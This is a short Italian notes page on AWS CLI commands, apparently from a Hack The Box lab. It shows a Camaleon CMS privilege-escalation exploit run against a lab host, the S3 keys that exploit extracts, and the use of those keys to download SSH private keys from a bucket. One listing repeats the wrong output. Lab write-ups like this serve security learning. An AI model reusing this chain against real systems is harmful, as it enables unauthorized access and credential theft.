Quartz 4

AWSCLi

2 min read

tags: AWS_Cli AWS_Scanning Scanning Cloud_Hacking

Per vedere il contenuto di una policy IAM:

aws iam get-policy --policy-arn arn:aws:iam::...:policy/nome-policy

Per vedere la policy di un bucket S3:

aws s3api get-bucket-policy --bucket nome-bucket

Per vedere le regole di un Security Group:

aws ec2 describe-security-groups --group-ids sg-xxxxxxxxxxxxx

Esempio

aws iam list-users
aws s3api list-buckets --query "Buckets[].Name"
aws ec2 describe-instances --filters "Name=instance-state-name,Values=running"

Possesso di credenziali AWS

Quando per esempio si riesce ad ottenere le chiavi di accesso ad un bucket S3 come nel seguente esempio:

python3 exploit.py -u http://facts.htb/ -U gino -P gino -e -r
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
   User ID: 6
   Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
   User ID: 6
   Updated User Role: admin
[+]Extracting S3 Credentials
   s3 access key: AKIA27A1A09886BDB01B
   s3 secret key: p7y6UtZ+steyVO3z96xgWBQxBvgB52wtlDZApDCr
   s3 endpoint: http://localhost:54321
[+]Reverting User Role
   User ID: 6
   User Role: client

Possiamo enumerarlo nel seguente modo:

aws configure
 
AWS Access Key ID [****************IWS2]: AKIA27A1A09886BDB01B
AWS Secret Access Key [****************Lr65]: p7y6UtZ+steyVO3z96xgWBQxBvgB52wtlDZApDCr
Default region name [eu-west-1]: eu-west-1
Default output format [None]: json
aws --endpoint-url http://facts.htb:54321 s3 ls
 
2025-09-11 14:06:52 internal
2025-09-11 14:06:52 randomfacts
 
aws --endpoint-url http://facts.htb:54321 s3 ls internal
                           PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-08 19:45:13        220 .bash_logout
2026-01-08 19:45:13       3900 .bashrc
2026-01-08 19:47:17         20 .lesshst
2026-01-08 19:47:17        807 .profile
 
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh
                           PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-08 19:45:13        220 .bash_logout
2026-01-08 19:45:13       3900 .bashrc
2026-01-08 19:47:17         20 .lesshst
2026-01-08 19:47:17        807 .profile
 
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519
 
download: s3://internal/.ssh/id_ed25519 to ./id_ed25519             
 
 
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/authorized_keys ./authorized_keys
 
download: s3://internal/.ssh/authorized_keys to ./authorized_keys

Graph View